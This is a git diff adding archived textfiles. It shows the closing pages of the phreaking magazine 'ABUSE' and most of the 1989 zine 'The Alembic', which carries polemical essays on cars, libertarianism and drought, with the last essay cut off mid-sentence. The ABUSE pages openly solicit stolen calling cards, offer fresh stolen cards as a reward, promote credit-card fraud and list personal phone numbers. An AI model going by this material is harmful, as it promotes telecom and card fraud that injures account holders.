paid to Telecom,' she said. + + Telecom is also investigating a series of obscene telephone calls in +Sydney's west made by a woman idetifying herself as a Telecom official. + + But it is not known if it is linked to the con. + +-------------------------------------------------------------------------------- + ACID: Well WHO THE FUCK was responsible for that ABUSE?! HAHAHAHA! +-------------------------------------------------------------------------------- + + IN THE NEXT ISSUE OF ABUSE: + =========================== + + - A FULL documentation on hacking ASPEN VMB's, + - Australian VMB system listing, + - A full list of the toll-free Australian 0014-800-125-xxx numbers, + - US partyline listing, + - Hacking credit cards voice, + - Some working codes & info, + - More overseas stuff (with your help!), + - Hack/Phreak stuff, + - Whatever contributions we get (send us some!). + + + CREDITS FOR THIS ISSUE OF ABUSE: + ================================ + + Main Editor/Organizer.....................................Acid + Co-Editor/Organizer.......................................Voltage + Australian Organizers.....................................Acid & Voltage + Canadian Organizer........................................Punisher + New Zealand Organizer.....................................Contact Us! + USA Organizer/s...........................................Contact Us! + UK Organizer/s............................................Contact Us! + Wherever Organizers.......................................Contact Us! + Ansi art..................................................Acid & iTeC + Original Concept..........................................Voltage + + Thanx goes to Frantic for the magazine name! + + + We are looking for more organizers in all parts of the world to help with +ABUSE magazine. We will be covering topics such as phreaking, calling card +fraud, credit card fraud, loops, partylines, voice mail systems, dial-ups, +computer systems, etc, etc. If you are into the same sort of stuff, then please +contact us at the numbers below. We need your help to make this the best +information text magazine around. So come on and join in the fun. We hope to +hear from you soon. +-------------------------------------------------------------------------------- + + Contact Acid by telephoning: Contact Voltage by telephoning: + ---------------------------- ------------------------------- + In Australia: (02)867-1275 In Australia: (02)867-1164 + (03)506-2443 (06)269-7068 + (06)269-7006 (049)40-4073 + (049)40-4907 + or 008-025-727 + * + 910 or 008-025-727 + * + 900 + + + Outside Oz: +1-800-631-0352 + 9 + 6767 Outside Oz: +1-800-631-0352 + 9 + 5900 + or +61-6-2697006 or +61-49-40-4073 + + + Or mail us both at: + +----------------------------------------------------------------------------- + / \ \ \ / / / \ \ + /(__ ______)\ _______)\ _____________)\ /(__/(__/(__)\ __)\ + / \ \ \\ _ \\ \ \/ \ \ \ \ / \ + / / \ /\ \\ /| |/\ _ \ /\ \ / / / \/ / + / /\/\ /\/ / //\/ | / \// / / / / /\/ /\/ /\/\ \ /)/ \ + / /_| \/ | \ \ | | / / / \/ / / / / |_\ \/_/___)\ +/ ____ \ | / / | | \ \__/ |\ \/ / / ____ \ \ +\ / |_ /__|/ /|__|\| \ ___/\ _| \ /\ /\ /\ _| \ /______ / + \/ )/ \ / \ /\( \( \/ \/ \/ \( \/ )/ + / / \/ \ \_/ \/ \ \ / \ \ / + /(______)\_______ /(__ |______________)\/(_______)\ CoSysops: +Sysops: / \ // \| \ \ \ Seven M + LoneWolf \ ______ /\ // /| \ //\ ____ / _______ /Carl Zeiss + Retro / \( \ )/ \_// /\/\| \_// \/__ )/\( \ )/ Holly&Coke + /(____\___)\ /| \/ /_| \ \/ ___/__/__\___)\ / + / \ | \ ___ \ \ / / \ Elite Only! + \ ________ / |__ / / |_ /_ / /___ /________ / Dual Standard + \( )/ | )/\/ )/ )/\/ )/[Seven M])/ Over 2000cps! + \ / / / / / / H/P Zone! +----------------------------------------------------------------------------- +Call +598-2-497190 +----------------------------------------------------------------------------- + + Be sure to leave your telephone number (or VMB dial-up & box number if you +wish) and REAL first name when contacting us so we can call you back. We ask +that (if at all possible) you might leave a (used and abused) working calling +card if you live in a European country so we can contact you faster. If it's not +possible, don't worry, we will still get back to you. Until next issue.. + + + STOP PRESS: WE ARE SEARCHING FOR A LOOP IN THE 818 LOS ANGELES AREA & THE 408 +SAN JOSE AREA. THE FIRST PERSON WHO SUPPLIES US WITH A WORKING ONE WILL RECEIVE +2 VIRGIN CALLING CARDS! CONTACT US AS SOON AS FUCKIN' POSSIBLE! + +==================================================================== + Realms of Magic - [TAC] WHQ - PC ONLY! - ++41(0)91/46 1378 + Running on 486/66 w/8 Megs RAM and 680 Megs of HD Space +==================================================================== + + diff --git a/textfiles.com/magazines/MISC/alembic2.txt b/textfiles.com/magazines/MISC/alembic2.txt new file mode 100644 index 00000000..6c8df83a --- /dev/null +++ b/textfiles.com/magazines/MISC/alembic2.txt @@ -0,0 +1,1514 @@ + +________________________________________________________________________ + + + + The ALEMBIC + second edition / Summer 1989 + a magazine dedicated to superseding pre-fabricated ideologies + + + WARNING! Contains controversial material. + Parental discretion should be exorcised. + + + CONTENTS: + + Automobiles: Public Enemy Number One (Rick Harrison) + The Libertarian as Conservative (Bob Black) + Everyone Talks about the Weather... (from 'Bentwood') + On Business (David Castleman) + Solar Cooker May Help Third World (Laura Wilkinson) + Nietzsche and the Dervishes (Hakim Bey) + XORcrypt: Low Budget Data Security (Rick Harrison) + Retorts (from the audience) + + +________________________________________________________________________ + + + NOTICES AND EXPLANATIONS + +Copyright 1989 by Tangerine Network. Permission is hereby granted for +non-profit distribution or reproduction of this ascii file, provided it +remains intact and unaltered. (Compression allowed, if necessary.) + +_The_Alembic_ is simultaneously distributed on paper and as a computer +textfile which you can download from the more enlightened electronic +bulletin boards. The paper version can be had by sending two dollars to +the editor at the address given below. The electronic version is +presently available from these and other enlightened boards: + +Factsheet Five BBS 518-479-3879 {300/1200 baud} + (The file is stored here in the 'electronic zines' section.) +The System 407-859-2243 {300/1200/2400 baud} FidoNet node 363/69 + (The file is stored here compressed in .ZIP format. Available for + automatic file request from other FidoNet boards.) + +_The_Alembic_ is made possible entirely by donations of articles, +publicity, money and distributive technology. Written and financial +contributions should be directed to Rick Harrison, Box 547014, +Orlando FL 32854 USA. + + +________________________________________________________________________ + + + AUTOMOBILES: PUBLIC ENEMY NUMBER ONE + by Rick Harrison + + Automobiles are probably the worst thing that has happened to human- +ity in this century. Car crashes kill more Americans in one year than +AIDS kills in five years; cars have killed many times more people than +atomic bombs have killed. The hysteria, protests, fund-raising and re- +search directed against AIDS and nuclear weapons might be better spent +on trying to wipe out cars. + + The 45,000 Americans killed by cars every year seem to quietly +vanish into thin air. It is remarkable that there is so little outcry +about so much bloodshed. Perhaps this is because cars are considered an +unquestionable fact of life. Indeed, they are often referred to as a +"right" and a "necessity." + + Cars are only "necessary" to those who profit from them. People +lived well enough without cars before World War 1, and in some parts of +the world they still do. So why are Americans, almost without exception, +unable to imagine life without cars? + + Car dealers run several full-page ads in every edition of the daily +newspaper. During local, non-prime-time hours of TV programming, about +half of the commercials shown are advertisements for car dealers, in- +surance protection rackets, and lawyers who capitalize on car carnage. +No broadcaster or print journalist can question our society's fetish +for automobiles; the editors would never allow it for fear of losing +their sponsors. In TV shows, cars are pictured as the best vehicles for +love-making, high speed chases, pleasure cruising, basic transportation, +and of course for running over anybody who irritates you. + + A large part of the economy is based on assembling, maintaining and +replacing automobiles. So cars _are_ necessary, but only necessary to +sustain this style of capitalism, which, like a bureaucracy, seems to +have no purpose other than perpetuating its own existence. From the +profiteer's point of view, cars that have accidents are more worthwhile +than totally safe vehicles would be. Car accidents mean big money for +towing services, junkyards, repair shops, hospitals, doctors, lawyers, +insurance companies, municipalities that collect money from fines and +tickets, funeral homes, cemeteries and the ambulance-chasing news media. + + In the face of all this brainwashing and profiteering, it's no +surprise that automobiles have come to be seen as indispensable. + + As for the claim that people have a "right" to drive cars, this is +absurd. Since we all need to breathe, who has a right to spew any amount +of toxins into our atmosphere? And who has a right to launch two-ton +unguided missiles that careen crazily through the streets of our cities? +Considering the fact that almost all Americans use drugs ranging from +caffein to cocaine, virtually nobody has the mental alertness or unim- +paired reflexes necessary to drive safely at speeds above 10 miles per +hour. (I'm sure you think _you_ are the exception.) + + Children, pets, and even adults aren't safe outside their homes +because there are so many assholes driving four-wheeled death machines +through the city. (If you live near an intersection or a sharp turn, +you aren't even safe _inside_ your home!) And, let's face it, _everyone_ +becomes an asshole the minute they put their hands on a steering wheel. +I've ridden in cars driven by my apparently-rational friends and have +seen the process of driving transmute them into aggressive, over-con- +fident maniacs. But perhaps this is the only emotional adjustment that +can enable people to face the extreme risks of driving. Imagine zooming +down a highway at 60 miles an hour with about 18 inches between +yourself and vehicles going equally fast in the opposite direction. A +foot and half between you and sudden death. If you, or one of the +oncoming drivers, should jerk the steering wheel to the left just a +little bit, you'll be squashed like a bug in a head-on collision. I can +live without that kind of vulnerability and "excitement." + + If motorists didn't make life unsafe for the rest of us, I wouldn't +complain so bitterly. Streets designed for and filled with motor +vehicles are unsafe for bicycles, horse-drawn carriages, skateboards, +and other forms of transportation. Cars squeeze out the competition +through intimidation and sheer force. Their monopoly on personal trans- +portation has thus been maintained through coercion, and it is an +affront to all freedom-loving individuals. + + I have heard people complain about cigarette smoke or air pollution, +and then these complainers drive away in cars! What hypocrites! +Motorists should be locked in garages with their engines running. I've +met a few people who rarely venture out of their homes because car fumes +make them sick. To these people, the deadly vapors pouring out of your +exhaust pipe are not something to be shrugged off and forgotten! + + Motorists use various rationalizations to excuse themselves for +turning the earth into a gas chamber -- excuses like "My car doesn't +pollute as much as a military jet" or "my modern car doesn't pollute +as much as older cars do." When I corner these motorist rats with the +truth, by asking if they would like to put their mouths on their +exhaust pipes and take a deep breath, they respond by pathetically +whining "I _have_ to drive a car. I can't get along without it." + + It seems motorists have come to believe they "need" their cars as +fervently as I believe that I don't need one. For several years I've +managed to buy groceries, hold down a job, and engage in travel for the +sheer pleasure of it without ever impoverishing myself by owning a car. +Folks act like it would kill them if they had to walk, ride a bicycle +or take a bus. In reality, driving cars is more likely to kill them. +Cardio-vascular disease caused by lack of exercise is a major cause +of death. And no doubt driving-induced stress contributes to the death +toll. Personally, I am willing to go out of my way to support life and +resist the machinery of death. + + Cars are supposed to be "convenient." Careful thought reveals that +they are amazingly inconvenient. Look at a traffic jam, for example, +or examine the facial expression of someone standing on the roadside +next to their car which has unexpectedly died. As for economic con- +venience, let's say our hypothetical friend Joe Shmo is a short-order +cook, earning $4.75 an hour and taking home about $4 an hour. Joe's car +is already paid for. If he spends $10 a week on fuel and oil, $400 per +year on insurance and licenses, and $500 a year on repairs, driving his +car costs $1420 a year. He has to work almost 7 hours per week to sup- +port his car! What's so convenient about that?!?! If he'd sell the car, +he could work one day less each week, and he'd be happier and healthier +as a result, partly for the reasons given above, but mainly because +work stinks. Generally, people who make more money spend more on their +cars, so if you sit down and calculate all the expenses involved, you +might also find that 1/5 of your paycheck goes toward supporting your +automobile. Is it worth it? + + To drive a car is to be taxed, registered, licensed and watched. +The entertainment media and high school peer pressure systems, which +are subsidiaries of the corporate establishment, force young people to +lust after car ownership because it benefits the police state to have +everyone's name, address and photograph on file. Leave your driver's +license at home and try to cash a check; you'll see what I mean. The +driver's license, like a necktie or work uniform, is a universally- +recognized symbol of submission to the system. + + To drive a car is also to be at the mercy of mechanics, many of +whom have questionable ethics. High technology is being used to make it +more difficult for people to repair their own vehicles, so that car +manufacturers and chains of repair shops can monopolize the profits made +from fixing automobiles which are designed to self-destruct at frequent +intervals. Micro-computers are now part of most ignition systems, and +unless you're a computer repairman it's unlikely that you'll have the +necessary tools to diagnose and fix any electronic problems that might +arise. This means that having a car these days makes you dependent on +others for transportation -- and that is almost as dangerous as being +dependent on others for food. (Got your five-year stockpile of food +ready to last through the coming holocaust?) + + All these arguments against car ownership would be obvious if +people were capable of thinking about the matter objectively. Thanks +to religion, TV, lust, drugs, advertising and work, most people have +been reduced to distracted conformists, so -- fortunately for the +capitalists -- there is no danger that an outbreak of rational thinking +will occur anytime soon. As long as the majority of people are un- +concerned about behaving ethically or creating a better world, cars will +remain popular. + + {Footnote: After drafting this essay about two years ago, I was +mugged while bicycling home from work one night, and resorted to obtain- +ing a motor scooter for slightly safer transportation. It sounds and +smells like a lawn-mower, but suddenly, when I started riding the +scooter, the motorists around me no longer honked, threw things at me, +pretended they couldn't see me, or tried to run me off the road, as +they had frequently done when I was a bicyclist.} + + ---------------------------------------------------------------------- + + THE AUTOMOBILE: AN INSTRUMENT FOR SELF-PUNISHMENT + from _L'Encyclopedie_Des_Nuisances_ + + ...It is well known that expressway construction and the motoriza- +tion of the labor force was one of the components of the mobilization +of the German proletariat under National Socialism. Both the Volkswagon +and the Panzerwagon could circulate on the expressways, with the +military excursion constituting the other original blemish that dom- +inates the modern journey. Everything submits to the same demand for +speed and efficiency, and to the same reality of slowness and waste. One +can be certain to lose time, at best, and at worst, life itself. During +the elaborate maneuvers of going on vacation, which for the great major- +ity of motorists is the only opportunity for a real trip, everything is +organized in military fashion. On "D" Day, the general staff organizes +radio guidance for the legions of vacationers. From the weather report +to light aircraft reconnaissance flights, from reminders about necessary +discipline to extrication itineraries in case the offense gets bogged +down, everything has been foreseen for traversing hostile lands, from +rescue squads to the installation of special tribunals. + + Then the balance sheet is drawn up. Naturally, the losses are in +proportion to the undertaking: during one year in a reasonably bellicose +country like France, fatalities amount to the equivalent of a large in- +fantry division, and the number of injured to several army corps. Such +a criminal slaughter is perfectly accepted by the population as a +natural disaster about which, by definition, nothing can be done. This +incredible fatalism well demonstrates, once again, the general loss of +common sense in our era. + + ---------------------------------------------------------------------- + + newspaper clipping, dated 1988/6/12: + + The automobile was once an efficient way to get around but now +causes such traffic woes and health hazards that people must learn to +use other transportation methods, according to a study released Satur- +day. "Excessive reliance on cars can actually stifle rather than advance +societies," said the study by Worldwatch, a private think-tank. The +study estimated the number of passenger cars in use worldwide grew from +53 million in 1950 to 386 million in 1986. As a result, motorists in +hundreds of cities creep forward at speeds slower than a bicycle's, the +study said, adding that more than 200,000 people died in 1985 in traffic +accidents worldwide. In the United States, 30,000 people die each year +of diseases resulting from the use of gasoline and diesel fuel. "It is +time to build a bridge from an auto-centered society into an alternative +transportation future... in which cars, buses, rail systems, bicycles +and walking all complement each other," the study said. + + ---------------------------------------------------------------------- + + "A study shows that commuters who drive the Los Angeles freeways are +exposed to four times the amount of cancer-causing chemicals normally +found in the air outdoors." + - ABC Radio News 1989/05/06 + + +________________________________________________________________________ + + + THE LIBERTARIAN AS CONSERVATIVE + by Bob Black + (essay based on a speech delivered to the Eris Society in 1984) + + I agreed to come here today to speak on some such subject as "The +Libertarian as Conservative." To me this is so obvious that I am hard +put to find something to say to people who still think libertarianism +has something to do with liberty. A libertarian is just a Republican +who takes drugs. I'd have preferred a more controversial topic like +"The Myth of the Penile Orgasm." But since my attendance here is sub- +sidized by the esteemed distributor of a veritable reference library +on mayhem and dirty tricks, I can't just take the conch and go rogue. +I will indeed mutilate the sacred cow which is libertarianism, as +ordered, but I'll administer a few hard lefts to the right in my own +way. And I don't mean the easy way. I could just point to the laissez- +faire Trilateralism of the Libertarian Party, then leave and go look for +a party. It doesn't take long to say that if you fight fire with fire, +you'll get burned. + + If that were all I came up with, somebody would up and say that the +LP has lapsed from the libertarian faith, just as Christians have in- +sisted that their behavior over the last 1900 years or so shouldn't be +held against Christianity. There are Libertarians who try to retrieve +libertarianism from the Libertarian Party just as there are Christians +who try to reclaim Christianity from Christendom and communists (I've +tried to myself) who try to save Communism from the Communist parties +and states. They (and I) meant well but we lost. Libertarianism _is_ +party-archist fringe-rightism just as socialism is what Eastern European +dissidents call "real socialism," i.e., the real-life state-socialism +of queues, quotas, corruption and coercion. But I choose not to +knock down this libertarian strawman-qua-man who's blowing over anyway. +A wing of the Reaganist Right has obviously appropriated, with suspect +selectivity, such libertarian themes as deregulation and voluntarism. +Ideologues indignate that Reagan has travestied their principles. Tough +shit! I notice that it's _their_ principles, not mine, that he found +suitable to travesty. This kind of quarrel doesn't interest me. My +reasons for regarding libertarianism as conservative run deeper than +that. + + My target is what Libertarians have in common -- with each other, +and with their ostensible enemies. Libertarians serve the state all the +better because they declaim against it. At bottom, they want what it +wants. But you can't want what the state wants without wanting the +state, for what the state wants is the conditions in which it flourish- +es. My (unfriendly) approach to modern society is to regard it as an +integrated totality. Silly doctrinaire theories which regard the state +as a parasitic excrescence on society cannot explain its centuries-long +persistence, its ongoing encroachment upon what was previously market +terrain, or its acceptance by the overwhelming majority of people +including its demonstrable victims. + + A far more plausible theory is that the state and (at least) _this_ +form of society have a symbiotic (however sordid) interdependence, that +the state and such institutions as the market and the nuclear family +are, in several ways, modes of hierarchy and control. Their articulation +is not always harmonious but they share a common interest in consigning +their conflicts to elite or expert resolution. To demonize state +authoritarianism while ignoring identical albeit contract-consecrated +subservient arrangements in the large-scale corporations which control +the world economy is fetishism at its worst. And yet (to quote the most +vociferous of radical Libertarians, Professor Murray Rothbard) there is +nothing un-libertarian about "organization, hierarchy, wage-work, grant- +ing of funds by libertarian millionaires, and a libertarian party." +Indeed. That is why libertarianism is just conservatism with a +rationalist/positivist veneer. + + Libertarians render a service to the state which only they can +provide. For all their complaints about its illicit extensions they +concede, in their lucid moments, that the state rules far more by con- +sent than by coercion -- which is to say, on present-state "libertarian" +terms the state doesn't rule at all, it merely carries out the tacit or +explicit terms of its contracts. If it seems contradictory to say that +coercion is consensual, the contradiction is in the world, not in the +expression, and can't adequately be rendered except by dialectical +discourse. One-dimensional syllogistics can't do justice to a world +largely lacking in the virtue. If your language lacks poetry and para- +dox, it's unequal to the task of accounting for actuality. Otherwise +anything radically new is literally unspeakable. The scholastic "A = A" +logic created by the Catholic Church which the Libertarians inherited, +unquestioned, from the Randites is just as constrictively conservative +as the Newspeak of Orwell's _1984_. + + The state commands, for the most part, only because it commands +popular support. It is (and should be) an embarrassment to Libertarians +that the state rules with mass support -- including, for all practical +purposes, theirs. + + Libertarians reinforce acquiescent attitudes by diverting discon- +tents who are generalized (or tending that way) and focusing them on +particular features and functions of the state which they are the first +to insist are expendable! Thus they turn potential revolutionaries into +repairmen. Constructive criticism is really the subtlest sort of praise. +If the Libertarians succeed in relieving the state of its exiguous +activities, they just might be its salvation. No longer will reverence +for authority be eroded by the prevalent official ineptitude. The more +the state does, the more it does badly. Surely one reason for the +common man's aversion to Communism is his reluctance to see the entire +economy run like the Post Office. The state tries to turn its soldiers +and policemen into objects of veneration and respect, but uniforms lose +a lot of their mystique when you see them on park rangers and garbage- +men. + + The ideals and institutions of authority tend to cluster together, +both subjectively and objectively. You may recall Edward Gibbon's +remark about the eternal alliance of Throne and Altar. Disaffection +from received dogmas has a tendency to spread. If there is any future +for freedom, it depends on this. Unless and until alienation recognizes +itself, all the guns the Libertarians cherish will be useless against +the state. + + You might object that what I've said may apply to the minarchist +majority of Libertarians, but not to the self-styled anarchists among +them. To my mind a right-wing anarchist is just a minarchist who'd +abolish the state to his own satisfaction by calling it something else. +But this incestuous family squabble is no affair of mine. Both camps +call for partial or complete privitization of state functions but +neither questions the functions themselves. They don't denounce what +the state does, they just object to who's doing it. This is why the +people most victimized by the state display the least interest in liber- +tarianism. Those on the receiving end of coercion don't quibble over +their coercers' credentials. If you can't pay or don't want to, you +don't much care if your deprivation is called larceny or taxation or +restitution or rent. If you like to control your own time, you dis- +tinguish employment from enslavement only in degree and duration. An +ideology which outdoes all others (with the possible exception of +Marxism) in its exaltation of the work ethic can only be a brake on +anti-authoritarian orientations, even if it does make the trains run +on time. + + My second argument, related to the first, is that the libertarian +phobia as to the state reflects and reproduces a profound misunderstand- +ing of the operative forces which make for social control in the modern +world. _If_ -- and this is a big "if," especially where bourgeois Liber- +tarians are concerned -- what you want is to maximize individual +autonomy, then it is quite clear that the state is the least of the +phenomena which stand in your way. + + Imagine that you are a Martian anthropologist specializing in Terran +studies and equipped with the finest telescopes and video equipment. You +have not yet deciphered any Terran language and so you can only record +what earthlings do, not their shared misconceptions as to what they're +doing and why. However, you can gauge roughly when they're doing what +they want and when they're doing something else. Your first important +discovery is that earthlings devote nearly all their time to unwelcome +activities. The only important exception is a dwindling set of hunter- +gatherer groups unperturbed by governments, churches and schools who +devote some four hours a day to subsistence activities which so closely +resemble the leisure activities of the privileged classes in industrial +capitalist countries that you are uncertain whether to describe what +they do as work or play. But the state and the market are eradicating +these holdouts and you very properly concentrate on the almost all- +inclusive world-system which, for all its evident internal antagonisms +as epitomized in war, is much the same everywhere. The Terran young, +you further observe, are almost wholly subject to the impositions of the +family and the school, sometimes seconded by the church and occasion- +ally the state. The adults often assemble in families too, but the +place where they pass the most time and submit to the closest control +is at work. Thus, without even entering into the question of the world +economy's ultimate dictation of everybody's productive activity, it's +apparent that the source of the greatest direct duress experienced by +the ordinary adult is _not_ the state but rather the business that +employs him. Your foreman or supervisor gives you more "or-else" orders +in a week than the police do in a decade. + + If one looks at the world without prejudice but with an eye to +maximizing freedom, the major coercive institution is not the state, +it's _work_. Libertarians who with a straight face call for the +abolition of the state nonetheless look on anti-work attitudes with +horror. The idea of abolishing work is, of course, an affront to common +sense. But then so is the idea of abolishing the state. If a referendum +were held among Libertarians which posed as options the abolition of +work with retention of the state, or abolition of the state with reten- +tion of work, does anyone doubt the outcome? + + Libertarians are into linear reasoning and quantitative analysis. +If they applied these methods to test their own reasoning they'd be in +for a shock. That's the point of my Martian thought experiment. This is +not to say that the state isn't just as unsavory as the Libertarians say +it is. But it does suggest that the state is important, not so much for +the direct duress it inflicts on convicts and conscripts, for instance, +as for its indirect back-up of employers who regiment employees, shop- +keepers who arrest shoplifters, and parents who paternalize children. +In these classrooms, the lesson of submission is learned. Of course, +there are always a few freaks like anarcho-capitalists or Catholic +anarchists, but they're just exceptions to the rule of rule. + + Unlike side issues such as unemployment, unions, and minimum-wage +laws, the subject of work itself is almost entirely absent from liber- +tarian literature. Most of what little there is consists of Randite +rantings against parasites, barely distinguishable from the invective +inflicted on dissidents by the Soviet press, and Sunday-school platitud- +inizing that there is no free lunch -- this from fat cats who have +usually ingested a lot of them. In 1980, a rare exception appeared in a +book review published in the _Libertarian_Review_ by Professor John +Hospers, the Libertarian Party elder state's-man who flunked out of the +Electoral College in 1972. Here was a spirited defense of work by a +college professor who didn't have to do any. To demonstrate that his +arguments were thoroughly conservative, it is enough to show that they +agreed in all essentials with Marxism-Leninism. + + Hospers thought he could justify wage-labor, factory discipline and +hierarchic management by noting that they're imposed in Leninist +regimes as well as under capitalism. Would he accept the same argument +for the necessity of repressive sex and drug laws? Like other Libertar- +ians, Hospers is uneasy -- hence his gratuitous red-baiting -- because +libertarianism and Leninism are as different as Coke and Pepsi when it +comes to consecrating class society and the source of its power, work. +Only upon the firm foundation of factory fascism and office oligarchy +do Libertarians and Leninists dare to debate the trivial issues dividing +them. Toss in the mainstream conservatives who feel just the same and we +end up with a veritable trilateralism of pro-work ideology seasoned to +taste. + + Hospers, who never has to, sees nothing demeaning in taking orders +from bosses, for "how else could a large scale factory be organized?" In +other words, "wanting to abolish authority in large-scale industry is +tantamount to wanting to abolish industry itself." Hospers again? No, +Frederick Engels! Marx agreed: "Go and run one of the Barcelona factor- +ies without direction, that is to say, without authority!" (Which is +just what the Catalan workers did in 1936, while their anarcho- +syndicalist leaders temporized and cut deals with the government.) +"Someone," says Hospers, "has to make decisions and" -- here's the +kicker -- "someone _else_ has to implement them." _Why?_ His precursor +Lenin likewise endorsed "individual dictatorial powers" to assure +"absolute and strict _unity_of_will_. But how can strict unity of will +be ensured? By thousands subordinating their will to the will of one." +What's needed to make industrialism work is "iron discipline while at +work, with _unquestioning_obedience_ to the will of a single person, the +soviet leader, while at work." _Arbeit_macht_frei_! + + Some people giving orders and others obeying them: this is the +essence of servitude. Of course, as Hospers smugly observes, "one can +at least change jobs," but you can't avoid having a job -- just as under +statism one can at least change nationalities but you can't avoid +subjection to one nation-state or another. But freedom means more than +the right to change masters. + + Hospers and other Libertarians are wrong to assume, with Man- +chester industrialist Engels, that technology imposes its division of +labor "independent of social organization." Rather, the factory _is_ +an instrument of social control, the most effective ever devised to +enforce the class chasm between the few who "make decisions" and the +many who "implement them." Industrial technology is much more the +product than the source of workplace totalitarianism. Thus the revolt +against work -- reflected in absenteeism, sabotage, turnover, +embezzlement, wildcat strikes, and goldbricking -- has far more +liberatory promise than the machinations of "libertarian" politicos +and propagandists. + + Most work serves the predatory purposes of commerce and coercion +and can be abolished outright. The rest can be automated away and/or +transformed -- by the experts, the workers who do it -- into creative, +playlike pastimes whose variety and conviviality will make extrinsic +inducements like the capitalist carrot and the Communist stick equally +obsolete. In the hopefully impending meta-industrial revolution, +libertarian communists revolting against work will settle accounts +with "Libertarians" and "Communists" working against revolt. And then +we can go for the gusto! + + Even if you think everything I've said about work, such as the +possibility of its abolition, is visionary nonsense, the anti-liberty +implications of its prevalence would still hold good. The time of your +life is the one commodity you can sell but never buy back. Murray +Rothbard thinks egalitarianism is a revolt against nature, but his day +is 24 hours long, just like everybody else's. If you spend most of your +waking life taking orders or kissing ass, if you get habituated to +hierarchy, you will become passive-aggressive, sado-masochistic, +servile and stupefied, and you will carry that load into every aspect +of the balance of your life. Incapable of living a life of liberty, +you'll settle for one of its ideological representations, like liber- +tarianism. You can't treat values like workers, hiring and firing them +at will and assigning each a place in an imposed division of labor. The +taste for freedom and pleasure can't be compartmentalized. + + Libertarians complain that the state is parasitic, an excrescence +on society. They think it's like a tumor you could cut out, leaving the +patient just as he was, only healthier. They've been mystified by their +own metaphors. Like the market, the state is an activity, not an entity. +The only way to abolish the state is to change the way of life it forms +a part of. That way of life, if you call that living, revolves around +work and takes in bureaucracy, moralism, schooling, money, and more. +Libertarians are conservatives because they avowedly want to maintain +most of this mess and so unwittingly perpetuate the rest of the racket. +But they're bad conservatives because they've forgotten the reality of +institutional and ideological interconnection which was the original +insight of the historical conservatives. Entirely out of touch with the +real currents of contemporary resistance, they denounce _practical_ +opposition to the system as "nihilism," "Luddism," and other big words +they don't understand. A glance at the world confirms that their +utopian capitalism just _can't_compete_ with the state. With enemies +like Libertarians, the state doesn't need friends. + + +________________________________________________________________________ + + + Everyone Talks About the Weather... + + Reprinted from the Lammas 1988 edition of Bentwood, + 4807 50th Avenue, Seattle WA 98118. + + Unless you've been living in a cave somewhere on the astral plane, +you should be aware of the "Drought of 1988." The images of it are +everywhere: parched fields with only a stubble of growth; the cracked, +dried earth of empty river and stream beds; the news reports of +sweltering temperatures and no rainfall. And while many people just +seem to take it all in stride, or view it as just another piece of bad +news on TV (and after all, the news is always bad), as pagans weÕre +keenly aware of what's happening, what it means for ourselves, the +plant and animal life we share this planet with, and for the Earth +Mother herself. + + Those who live in the South and Midwest have a most profound +experience of how our climate is changing. It is most evident in the +corn, that plant so sacred to Native American cultures. The usually +broad, lush leaves are instead mottled and curled. And where the corn +usually stretches towards the sunlight, it is now stunted and +shriveling, almost recoiling from the burning rays. Even those of us +who live in areas not so hard hit this year by the drought can see the +effects: in the Pacific Northwest, intermountain regions, and Alaska, +forest fires rage this year, blackening thousands of acres. + + We pagans are growing sensitive to the deeper meanings of this +drought. We can sense something more profound, more significant in this +disaster; it is almost palpable. To some, fear is one element; we are +like a child who is constantly afraid that they will be abandoned by +their mother. And there is fear of not knowing what is going to happen; +we see this etched on the faces of farmers and others who live on the +land. Even though we may feel that we're insulated right now, we have a +sense that these climactic changes are going to affect us all. + + And they will. Whether we live in an urban setting, out in the +woods, or in a rural farming area, these climactic changes are going to +affect us. The bounty of the supermarket may not be so bountiful in the +future. Recently there have been news reports of growing concerns over +intermittent shortages of certain food products as early as next year. +In the West, water is becoming more and more scarce in some areas, and +contingency plans for rationing are being drawn up in some urban areas. +And there is growing evidence that the hot and dry summers of the past +two years are not just random or freakish occurrences, but rather the +beginning of a global warming trend. What weÕre seeing in 1988 could +possibly be the harbinger of greater climactic extremes to come. + + While the physical effects of these meteorological changes are +quite evident, the psychological and psychic responses seem much more +varied. Some born-again and fundamentalist Christians see the drought +as part of the wrath of a patriarchal god who will put the Earth through +great tribulations and suffering as a prelude to the establishment of +the kingdom of heaven. Others with a "New Age" orientation see what is +happening as "the Earth Changes," an inevitable period where the Earth +cleanses or purges herself of the awful things humans have done. + + While these two responses may seem different, they are in fact +almost identical. Both presuppose that the tribulation/Earth changes +are inevitable and unavoidable, (prophecy plays a major r™le in many +Christian and New Age philosophies), indicate that only a chosen few +will survive the great destruction, and that after all the mayhem is +over, those who remain will live a life of peace, love, and harmony, +usually due to the influence of some external source (the return of +God, universal consciousness, or contact with beings from other planets +or planes of existence). The idyllic ending is as inevitable as the +destruction to come. + + Many pagans are taking a somewhat different tack towards what is +happening to the world. The reason for drought, famine, and environ- +mental deterioration is not because of some mysterious, supernatural +force but has a rather simpler cause: human actions. Five thousand years +of a power-over, domination-oriented philosophy have laid the foundation +for what we see manifesting in the changing climate, the scarred Earth, +the poisoned ocean. The results of the last 150 years of irresponsible +industrial society is the cause of what we're seeing today. As pagans +we understand the intent and the "mechanics" of the law of manifold +return: what we put out into the world comes back to us magnified. This +is true for what we do whether individually or collectively. It may take +a long time to return, and perhaps it may manifest in a form that might +not be immediately evident, but return it does. And we're seeing it now. + + A hundred years of extensive burning of fossil fuels, massive +deforestation, the establishment of a resource- and energy-intensive +lifestyle for a small minority of the Earth's inhabitants, are the +direct cause of the baked fields and dry streams. We don't need a +vengeful god to send us tribulations. We do just fine on our own. + + Yet we are discovering that isn't the end of the story. We +are coming to learn that one of the differences between a pagan +viewpoint towards this drought and its consequences, and the +fundamentalist/New Age approach, is that the latter essentially takes +us out of the equation. In the tribulation/Earth Changes scenarios, +the environmental destruction we are witnessing is inevitable, +{Editor's note: maybe this is why so many businessmen and politicians +promote Christianity.} and has been foretold in prophecy. (After all, +what is more useless than a prophecy that doesn't come true?) What we +do or have done is irrelevant. And thus we don't really have to take +responsibility for what we're doing to the Earth, and can continue our +destructive ways without a second thought. Of course, the tribulation +or Earth Changes will interrupt it all at some point, but (fortunately) +that is sometime out in the nebulous future. Pagans, on the other hand, +see the climactic changes as a direct result of human activity, both +material and psychic. Therefore we can have a direct influence on what +happens to the environment, and ultimately, to us. + + With this knowledge we're making changes. Some are subtle, some are +more evident. In our meditations we are visualizing a clean atmosphere, +lush rain forests, and a land free of industrial scars for the Earth. +We are visualizing lifegiving rain falling in abundance on the fields +and filling the rivers and lakes. And we meditate on human change, +seeing our attitudes change to those 